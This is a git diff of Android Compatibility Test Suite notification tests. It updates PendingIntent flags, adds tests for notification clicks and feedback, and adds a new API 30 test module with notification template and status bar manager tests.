diff --git a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index f5606de..df0d592 100644
--- a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -314,7 +314,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/Android.bp b/tests/tests/notificationlegacy/notificationlegacy28/Android.bp
index 6a52f46..fb8375e 100644
--- a/tests/tests/notificationlegacy/notificationlegacy28/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy28/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLegacyNotification28TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
index 83d2978..cf8981d 100644
--- a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
@@ -101,6 +101,6 @@
 
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
-                mContext, 0, new Intent(mContext, this.getClass()), 0);
+                mContext, 0, new Intent(mContext, this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 }
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/Android.bp b/tests/tests/notificationlegacy/notificationlegacy29/Android.bp
index 179a1bd..40e993f 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy29/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLegacyNotification29TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
index 4318f7f..e46b709 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
@@ -16,6 +16,8 @@
 
 package android.app.notification.legacy29.cts;
 
+import static android.service.notification.NotificationAssistantService.FEEDBACK_RATING;
+
 import static junit.framework.Assert.assertEquals;
 import static junit.framework.Assert.assertTrue;
 import static junit.framework.TestCase.assertFalse;
@@ -37,7 +39,6 @@
 import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
-import android.os.UserHandle;
 import android.provider.Telephony;
 import android.service.notification.Adjustment;
 import android.service.notification.NotificationAssistantService;
@@ -55,12 +56,8 @@
 import org.junit.runner.RunWith;
 
 import java.io.BufferedReader;
-import java.io.FileInputStream;
 import java.io.FileReader;
 import java.io.IOException;
-import java.io.InputStream;
-import java.io.Reader;
-import java.nio.CharBuffer;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
@@ -130,6 +127,8 @@
         sbn = getFirstNotificationFromPackage(TestNotificationListener.PKG);
         mNotificationListenerService.mRankingMap.getRanking(sbn.getKey(), out);
 
+        // Assistant gets correct rank
+        assertTrue(mNotificationAssistantService.notificationRank >= 0);
         // Assistant modifies notification
         assertEquals(NotificationListenerService.Ranking.USER_SENTIMENT_POSITIVE,
                 out.getUserSentiment());
@@ -262,7 +261,7 @@
         mUi.dropShellPermissionIdentity();
 
         PendingIntent sendIntent = PendingIntent.getActivity(mContext, 0,
-                new Intent(Intent.ACTION_SEND), 0);
+                new Intent(Intent.ACTION_SEND), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.Action sendAction = new Notification.Action.Builder(ICON_ID, "SEND",
                 sendIntent).build();
 
@@ -530,7 +529,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.Action action = new Notification.Action.Builder(null, "",
                 pendingIntent).build();
         // This method has to exist and the call cannot fail
@@ -640,6 +639,53 @@
                 NotificationAssistantService.SOURCE_FROM_APP);
     }
 
+    @Test
+    public void testOnNotificationClicked() throws Exception {
+        if (isTelevision()) {
+            return;
+        }
+
+        setUpListeners();
+        turnScreenOn();
+        mUi.adoptShellPermissionIdentity("android.permission.STATUS_BAR_SERVICE", "android.permission.EXPAND_STATUS_BAR");
+
+        mNotificationAssistantService.resetNotificationClickCount();
+
+        // Initialize as closed
+        mStatusBarManager.collapsePanels();
+        sendNotification(1, ICON_ID);
+        StatusBarNotification sbn = getFirstNotificationFromPackage(TestNotificationListener.PKG);
+
+        mStatusBarManager.expandNotificationsPanel();
+        Thread.sleep(SLEEP_TIME * 2);
+        mStatusBarManager.clickNotification(sbn.getKey(), 1, 1, true);
+        Thread.sleep(SLEEP_TIME * 2);
+
+        assertEquals(1, mNotificationAssistantService.notificationClickCount);
+
+        mStatusBarManager.collapsePanels();
+        mUi.dropShellPermissionIdentity();
+
+    }
+
+    @Test
+    public void testOnNotificationFeedbackReceived() throws Exception {
+        setUpListeners(); // also enables assistant
+        mUi.adoptShellPermissionIdentity("android.permission.STATUS_BAR_SERVICE", "android.permission.EXPAND_STATUS_BAR");
+
+        sendNotification(1, ICON_ID);
+        StatusBarNotification sbn = getFirstNotificationFromPackage(TestNotificationListener.PKG);
+
+        Bundle feedback = new Bundle();
+        feedback.putInt(FEEDBACK_RATING, 1);
+
+        mStatusBarManager.sendNotificationFeedback(sbn.getKey(), feedback);
+        Thread.sleep(SLEEP_TIME * 2);
+        assertEquals(1, mNotificationAssistantService.notificationFeedback);
+
+        mUi.dropShellPermissionIdentity();
+    }
+
     private StatusBarNotification getFirstNotificationFromPackage(String PKG)
             throws InterruptedException {
         StatusBarNotification sbn = mNotificationListenerService.mPosted.poll(SLEEP_TIME,
@@ -675,7 +721,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
@@ -755,4 +801,4 @@
             }
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
index 52fe892..c164656 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
@@ -129,7 +129,7 @@
 
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
-                mContext, 0, new Intent(mContext, this.getClass()), 0);
+                mContext, 0, new Intent(mContext, this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
 
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/TestNotificationAssistant.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/TestNotificationAssistant.java
index 3830458..e8a854b 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/TestNotificationAssistant.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/TestNotificationAssistant.java
@@ -16,6 +16,7 @@
 
 package android.app.notification.legacy29.cts;
 
+import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.content.ComponentName;
 import android.os.Bundle;
@@ -36,6 +37,9 @@
     int notificationVisibleCount = 0;
     int notificationSeenCount = 0;
     int notificationHiddenCount = 0;
+    int notificationClickCount = 0;
+    int notificationRank = -1;
+    int notificationFeedback = 0;
     String snoozedKey;
     String snoozedUntilContext;
     private NotificationManager mNotificationManager;
@@ -81,7 +85,16 @@
 
     @Override
     public Adjustment onNotificationEnqueued(StatusBarNotification sbn) {
+        return null;
+    }
+
+    @Override
+    public Adjustment onNotificationEnqueued(StatusBarNotification sbn, NotificationChannel channel,
+            RankingMap rankingMap) {
         Bundle signals = new Bundle();
+        Ranking ranking = new Ranking();
+        rankingMap.getRanking(sbn.getKey(), ranking);
+        notificationRank = ranking.getRank();
         signals.putInt(Adjustment.KEY_USER_SENTIMENT, Ranking.USER_SENTIMENT_POSITIVE);
         return new Adjustment(sbn.getPackageName(), sbn.getKey(), signals, "",
                 sbn.getUser());
@@ -121,4 +134,17 @@
     public void onPanelRevealed(int items) {
         isPanelOpen = true;
     }
+
+    void resetNotificationClickCount() {
+        notificationClickCount = 0;
+    }
+
+    @Override
+    public void onNotificationClicked(String key) { notificationClickCount++; }
+
+    @Override
+    public void onNotificationFeedbackReceived(String key, RankingMap rankingMap, Bundle feedback) {
+        notificationFeedback = feedback.getInt(FEEDBACK_RATING, 0);
+    }
+
 }
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/notificationlegacy30/Android.bp b/tests/tests/notificationlegacy/notificationlegacy30/Android.bp
new file mode 100644
index 0000000..1917b44
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy30/Android.bp
@@ -0,0 +1,42 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLegacyNotification30TestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "CtsAppTestStubsShared",
+        "junit",
+        "truth-prebuilt",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts"
+    ],
+    sdk_version: "test_current",
+    target_sdk_version: "30",
+    min_sdk_version: "30",
+}
diff --git a/tests/tests/notificationlegacy/notificationlegacy30/AndroidManifest.xml b/tests/tests/notificationlegacy/notificationlegacy30/AndroidManifest.xml
new file mode 100644
index 0000000..95fa88c
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy30/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.app.notification.legacy30.cts">
+
+    <uses-permission android:name="android.permission.EXPAND_STATUS_BAR" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.app.stubs.shared.NotificationHostActivity"
+            android:label="NotificationHostActivity"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.app.notification.legacy30.cts"
+                     android:label="CTS tests for notification behavior (API 30)">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/notificationlegacy/notificationlegacy30/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy30/AndroidTest.xml
new file mode 100644
index 0000000..702d261
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy30/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Notification API 30 test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <!-- Notification Listeners are not supported for instant apps. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLegacyNotification30TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.app.notification.legacy30.cts" />
+        <option name="runtime-hint" value="5m" />
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/NotificationTemplateApi30Test.kt b/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/NotificationTemplateApi30Test.kt
new file mode 100644
index 0000000..7635bf4
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/NotificationTemplateApi30Test.kt
@@ -0,0 +1,287 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy30.cts
+
+import android.R
+import android.app.Notification
+import android.app.cts.NotificationTemplateTestBase
+import android.graphics.Bitmap
+import android.view.View
+import android.widget.ImageView
+import android.widget.TextView
+import com.google.common.truth.Truth.assertThat
+
+class NotificationTemplateApi30Test : NotificationTemplateTestBase() {
+
+    override fun setUp() {
+        assertThat(mContext.applicationInfo.targetSdkVersion).isEqualTo(30)
+    }
+
+    fun testWideIcon_inCollapsedState_isSquareForLegacyApps() {
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testWideIcon_inBigBaseState_isSquareForLegacyApps() {
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testWideIcon_inBigPicture_isSquareForLegacyApps() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val icon = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigPictureStyle().bigPicture(picture))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testWideIcon_inBigText_isSquareForLegacyApps() {
+        val bitmap = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(bitmap)
+                .setStyle(Notification.BigTextStyle().bigText("Big\nText\nContent"))
+                .createBigContentView()
+        checkIconView(views) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+        }
+    }
+
+    fun testPromoteBigPicture_withoutLargeIcon() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(picture)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        // the promoted big picture is shown with enlarged aspect ratio
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(40)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(30)
+        }
+        // there should be no icon in the large state
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.GONE)
+        }
+    }
+
+    fun testPromoteBigPicture_withLargeIcon() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val icon = Bitmap.createBitmap(80, 65, Bitmap.Config.ARGB_8888)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setLargeIcon(icon)
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(picture)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        // the promoted big picture is shown with enlarged aspect ratio
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(40)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(30)
+        }
+        // because it doesn't target S, the icon is still shown in a square
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(80)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(65)
+        }
+    }
+
+    fun testPromoteBigPicture_withBigLargeIcon() {
+        val picture = Bitmap.createBitmap(40, 30, Bitmap.Config.ARGB_8888)
+        val bigIcon = Bitmap.createBitmap(80, 75, Bitmap.Config.ARGB_8888)
+        val builder = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setStyle(Notification.BigPictureStyle()
+                        .bigPicture(picture)
+                        .bigLargeIcon(bigIcon)
+                        .showBigPictureWhenCollapsed(true)
+                )
+        // the promoted big picture is shown with enlarged aspect ratio
+        checkIconView(builder.createContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width.toFloat())
+                    .isWithin(1f)
+                    .of((iconView.height * 4 / 3).toFloat())
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(40)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(30)
+        }
+        // because it doesn't target S, the icon is still shown in a square
+        checkIconView(builder.createBigContentView()) { iconView ->
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(iconView.width).isEqualTo(iconView.height)
+            assertThat(iconView.drawable.intrinsicWidth).isEqualTo(80)
+            assertThat(iconView.drawable.intrinsicHeight).isEqualTo(75)
+        }
+    }
+
+    fun testBaseTemplate_hasExpandedStateWithoutActions() {
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .createBigContentView()
+        assertThat(views).isNotNull()
+    }
+
+    fun testDecoratedCustomViewStyle_collapsedState() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomContentView(customContent)
+                .setStyle(Notification.DecoratedCustomViewStyle())
+                .createContentView()
+        checkViews(views) { activity ->
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>(activity, "text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>(activity, "icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testDecoratedCustomViewStyle_expandedState() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomBigContentView(customContent)
+                .setStyle(Notification.DecoratedCustomViewStyle())
+                .createBigContentView()
+        checkViews(views) { activity ->
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>(activity, "text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the app name text shows
+            val appNameView = requireViewByIdName<TextView>(activity, "app_name_text")
+            assertThat(appNameView.visibility).isEqualTo(View.VISIBLE)
+
+            // check that the icon shows
+            val iconView = requireViewByIdName<ImageView>(activity, "icon")
+            assertThat(iconView.visibility).isEqualTo(View.VISIBLE)
+        }
+    }
+
+    fun testCustomViewNotification_collapsedState_isNotDecoratedForLegacyApps() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomContentView(customContent)
+                .createContentView()
+        checkViews(views) { activity ->
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>(activity, "text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the icon is not present
+            val iconView = findViewByIdName<ImageView>(activity, "icon")
+            assertThat(iconView).isNull()
+        }
+    }
+
+    fun testCustomViewNotification_expandedState_isNotDecoratedForLegacyApps() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomBigContentView(customContent)
+                .createBigContentView()
+        checkViews(views) { activity ->
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>(activity, "text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the app name text is not present
+            val appNameView = findViewByIdName<TextView>(activity, "app_name_text")
+            assertThat(appNameView).isNull()
+
+            // check that the icon is not present
+            val iconView = findViewByIdName<ImageView>(activity, "icon")
+            assertThat(iconView).isNull()
+        }
+    }
+
+    fun testCustomViewNotification_headsUpState_isNotDecoratedForLegacyApps() {
+        val customContent = makeCustomContent()
+        val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.ic_media_play)
+                .setContentTitle("Title")
+                .setCustomHeadsUpContentView(customContent)
+                .createHeadsUpContentView()
+        checkViews(views) { activity ->
+            // first check that the custom view is actually shown
+            val customTextView = requireViewByIdName<TextView>(activity, "text1")
+            assertThat(customTextView.visibility).isEqualTo(View.VISIBLE)
+            assertThat(customTextView.text).isEqualTo("Example Text")
+
+            // check that the icon is not present
+            val iconView = findViewByIdName<ImageView>(activity, "icon")
+            assertThat(iconView).isNull()
+        }
+    }
+
+    companion object {
+        val TAG = NotificationTemplateApi30Test::class.java.simpleName
+        const val NOTIFICATION_CHANNEL_ID = "NotificationTemplateApi30Test"
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/StatusBarManagerApi30Test.java b/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/StatusBarManagerApi30Test.java
new file mode 100644
index 0000000..baf9aac
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/StatusBarManagerApi30Test.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.notification.legacy30.cts;
+
+import static org.junit.Assume.assumeFalse;
+
+import android.app.StatusBarManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class StatusBarManagerApi30Test {
+    private StatusBarManager mStatusBarManager;
+    private Context mContext;
+
+    private boolean isWatch() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        assumeFalse("Status bar service not supported", isWatch());
+        mStatusBarManager = mContext.getSystemService(StatusBarManager.class);
+    }
+
+    @Test
+    public void testCollapsePanels_withoutStatusBarPermission_doesNotThrow() throws Exception {
+        mStatusBarManager.collapsePanels();
+
+        // Nothing thrown, passed
+    }
+}
diff --git a/tests/tests/opengl/Android.bp b/tests/tests/opengl/Android.bp
index 4ad0e55..6737c30 100644
--- a/tests/tests/opengl/Android.bp
+++ b/tests/tests/opengl/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_helper_library {
     name: "cts-opengl-util",
 
diff --git a/tests/tests/opengl/AndroidManifest.xml b/tests/tests/opengl/AndroidManifest.xml
index 7b645aa..a7a09b7 100644
--- a/tests/tests/opengl/AndroidManifest.xml
+++ b/tests/tests/opengl/AndroidManifest.xml
@@ -13,61 +13,57 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.opengl.cts"
-    android:versionCode="1"
-    android:versionName="1.0" >
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.opengl.cts"
+     android:versionCode="1"
+     android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-feature android:glEsVersion="0x00020000"/>
